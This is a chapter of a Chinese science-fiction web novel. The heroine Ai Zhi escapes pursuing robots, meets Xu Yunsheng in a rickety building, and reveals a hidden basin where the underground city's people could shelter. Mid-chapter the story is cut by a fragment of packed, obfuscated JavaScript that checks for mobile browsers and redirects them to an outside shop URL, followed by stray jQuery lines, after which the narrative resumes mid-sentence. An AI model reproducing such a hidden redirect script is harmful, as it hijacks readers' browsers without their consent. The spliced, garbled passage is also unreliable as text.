68. 第 68 章

作品:《贝器时代

    机械人犹如蜜蜂出巢,锁定目标后,集体出动。


    一时间夜箔彩倾巢出动,所有隐藏的机械人全部出现,集全力追捕艾知。


    “什么?阿知其实叫艾知?是首辅大臣的未过门的妻子?”


    茨时一时间脑子转不过来弯,斯诺克的话把自己的脑瓜子绕得嗡嗡直响,半天理不清思路。


    他没有太多脑细胞的大脑完全想不通阿知为什么要抛弃富贵,跑到地下城隐姓埋名讨生活。


    他之前那么折磨阿知,她会不会记恨到自己头上,不让自己有好果子吃?


    一直隐身于一边的阿辛来看着急匆匆去追阿知的斯诺克的背影,又望了望犹犹豫豫的茨时,嘴角一勾。


    他阿辛来翻身的机会就要来了。


    阿辛来趁着茨时还在发愣,悄悄隐退到到一边,混到往艾知逃走方向前进的机械人大军中,很快看不见人影了。


    身后还有穷追不舍的机械人,哪怕再累,腿再酸痛,艾知一秒都不敢耽误。


    拼了命地往前跑。


    黑党根据地在距离临滨城脚下有一段距离,且十分隐蔽,如果她能甩掉机械人一段距离,她就有机会成功彻底甩开他们。


    但她身份已经暴露,地下城已不再安全,住处是回不去了,她得重新再想个去处。


    看到身后已无追赶而来的机械人,艾知这才发觉自己的左肢格外沉重。


    上次被阿辛来打断充电,只用了两块黑曜石,电量耗到现在跑起步很吃力。


    盖聚邦大厦有她一间小小的办公室,那里放着她攒起来的四块黑曜石。


    茨时和阿辛来已经明牌叛变黑党,应该不会再回来,说不定盖聚邦能让她暂避一段时间。


    盖聚邦说是大厦,实际只有五楼,但却是地下城最高的建筑。


    她的办公室就在狭小的顶层,天天要听着从陆势区传来难以忍受的各种交通工具的轰鸣声。


    不过这倒成了她的避难所。


    盖聚邦大厦的过道很黑,楼道是简易木板钉上铁钉做的,走起来吱呀吱呀的。


    艾知尽量放轻脚步,还是不可控地发出声音。


    在静寂的黑楼中,一切声音都格外凸显刺耳。


    艾知又忍不住想骂许云声。


    就这么抠,搜刮走她那么多钱,不肯换质量好一点的楼梯,抠到家了。


    慌乱的心跳已在咒骂许云声中平缓下来。


    吱呀的木板倒成了艾知时刻紧绷心弦的抚慰剂。


    马上就要爬到五楼,一只隐藏在黑暗的大手,突然拽住艾知的胳膊,在她即将要反抗的下一秒把她拉入黑暗。


    艾知刚想给背后袭击自己的人一个肘击。


    一种熟悉的淡淡的类似白酒的香气飘来。


    艾知放下胳膊。


    “可以嘛,居然知道是我。”


    艾知很无语,她不懂许云声在这里躲在这里装神弄鬼干什么。


    但她确定许云声接收到了自己说茨时和阿辛来叛变的消息。


    “……”


    “见到我不高兴?”


    都要被一锅端了高兴个屁。


    艾知不懂许云声位置都不保了,怎么还吊儿郎当的。


    “好好好,不逗你了。说真的,秦真的被逮捕了?”


    艾知点点头,光靠她一个人肯定救不出秦,许云声肯定有点子。


    她刚升起希望,许云声这家伙立刻浇她一盆冷水,还是带冰碴儿的。


    “那我们还是赶紧逃吧,搜查官都来了,咱们小命要紧。”


    “不是,许云声你是不是男人啊?你就这么怂?”


    艾知气急攻心,刚刚又跑得太快,气管哽住,发痒的喉咙压抑不住咳嗽。


    “对,我挺怂的,我连楼梯都不敢换。”


    “……”合着他全听到了啊,在这儿等着她呢。


    但是艾知不想跟他扯皮。


    “你不救我去救。”


    “哎——给我回来!”许云声拉住艾知的胳膊,不让她走,“那小子怎么你了,你居然这么着急救他?”


    “他是好人。我不想他落在斯……茨时和阿辛来这些狗东西手里。”


    “哟。”许云声嘴撇了一下,“当初是谁说建夜箔彩是没良心的人干的?干赌博勾当的都得天打五雷轰?”


    “……那是两码事!”


    秦是不该建立夜箔彩,但是艾知更清楚斯诺克和那两个败类的性子。


    他们完全就是假借公事徇私舞弊,趁机敛财为己所用。


    ……阿言……阿言就是迟载和他的走狗斯诺克合谋害死的。


    艾知怕秦也惨遭毒手,心中要救他的心更强烈。


    “你也知道是两码事啊!”


    “上头派人来铲除夜箔彩是第一步,接下来就是黑党,继而就是整个地下城。那些个搜查官再垃圾废物,也是秉公办事!名正言顺的!”


    许云声深吸一口气:“我不知道秦给你下了什么迷魂药,他现在就是第二区政府首要抓捕对象。他贩卖信息,窝藏逃犯和死囚,经营赌博场这些证据确凿!”


    “抓完他就是抓我们。”


    “阿知,拜托你先搞清楚状况!”


    “我们不跑等着被抓吗?”


    艾知终于冷静下来。


    她完全被阿言死前的那一幕刺激到了,彻底失去了理智。


    她怕秦最后也是阿言的结局。


    依斯诺克爱叛变的性格,她的行踪肯定第一时间会被他汇报给迟载。


    如果她不走,迟载迟早找到这里。


    那阿言白白牺牲了。


    不行,她不能,她必须要逃到迟载找不到她的地方去。


    “不……不行……我要去跟他们说清楚。”艾知转身就想跑。


    “你干什么去?!”许云声诧异道,“你要跟谁说什么说清楚?”


    “游医他们啊!我要先安置好我辖区的人,我才能走。”


    她放不下她管辖下的民众。


    自从接管了他们,她就肩负保护他们的职责。


    如果她一走了之,斯诺克就会带兵入侵,从而铲平整个地下城。


    那群可怜的地下城百姓该何去何从,除了地下城又有什么地方能收留他们?


    艾知眼角微微下垂的眼睛,在微弱冷光下闪着清透的亮光,像悲天悯人的圣女。


    许云声沉静地盯着艾知看了两秒,问道:“你有地方安置他们?”


    两年前艾知在外出执行任务的时候,头一次走到地面上去。


    她发现距临滨城一千公里的泗肃城的陆势区有块盆地。


    那里远离人群聚集。


    盆地岩石经过千年风沙和每年两三次的雷暴天气的洗礼,已形成了了大大小小的坑洞。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347964|184359||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她没有身份,又怕被迟载发现踪迹,当即就决定去坑洞睡一晚。


    原先她担心夜间有蚊虫叮咬,也怕晚间有野生动物入侵。


    但错落有致的坑洞位于高处,四面环起,特别像近新时代的土家筒楼。


    远远看去,就像是普通土坡,形成了天然的伪装屏障,不容易被外界发觉。


    到了夜间,风也被岩石阻挡在外,同时坚硬的外壳又能挡住一切未知危险。


    那一晚宁静又温暖,艾知睡得很好。


    而且离这儿不远处有一汪清潭。


    只要在水壶撒上净化水胶囊,饮用不成问题。


    艾知还观察过四周,发现土壤呈湿软状,是从前东北地域极为优越的黑土地。


    只要能搞到适宜现在温度的粮食种子,吃喝不成问题。


    前期技术不行,也可以继续喝营养剂。


    无论如何,这块未被开发的地方是一块不错的风水宝地。


    艾知想好了,只要百姓们愿意相信她,她一定能领着大家在这儿过上能见到阳光的好日子。


    那一刻,艾知才明白之前的白藤一族为什么要隐居大山,不愿与外界接触。


    如果有选择,他们何尝不想跟普通人一样,过上便捷舒适先进的日子呢。


    但一切都要为了先生存下去。


    不知道为什么,想到未来即将要过上的与世无争的生活,艾知心里就好似蕴藏着无穷的力量。


    她仰头望向许云声:“虽然我希望能够保下地下城,但如果保不下,我也有地方让地下城的百姓住。”


    许云声凝视着艾知,那双与艾知同样都为黑瞳的眸子闪过一秒艾知没看懂的情绪。


    “你挺理想主义的。”


    他取出腰间别着的袖珍水壶,喝了一口。


    时间紧急,艾知没有细究许云声是讽刺还是直言。


    反而一股白酒的味道吸引了她的注意。


    这个味道太难得,久到像是尘封多年的味道。


    贝器时代粮食谷物极其难种,对土壤适应力更强的葡萄成了酒业的发展主力军。


    所以贝器时代只有各式各样的葡萄酒,从不见白酒。


    而许云声身上经常散发着来自近新时代艾知熟悉的白酒的清淡香气。


    从前艾知以为是许云声骚包,买了奇特的香水或是香囊,味道是白酒的味道。


    今天近距离一看,她确定许云声喝的就是白酒。


    狐疑的眼神从许云声的水壶掠过,艾知沉默着,没有吱声。


    她的身份本就特殊,如果为了问许云声的底细,而暴露自己来自过去,反倒给自己增添麻烦。


    多一事不如少一事,艾知还是按耐下对许云声的怀疑。


    许云声性格不羁洒脱,但心底跟明镜似的,尽管认识了五年,她当初的手术还是许云声操刀。


    但艾知依旧不能说自己完全认识许云声。


    她甚至可以说,她并不了解他。


    她不知道他从何而来,父母情况,也不知道为什么要与性格截然不同,人品大相径庭的茨时阿辛来等人做兄弟,也不知道他要接下黑党的目的。


    他像是对什么都了于掌心,但又像对什么都不在乎。


    艾知发现自己,好像真的不懂许云声。


    “看够了吗?”许云声懒懒抬眼,“看够了咱们就此分道扬镳吧。”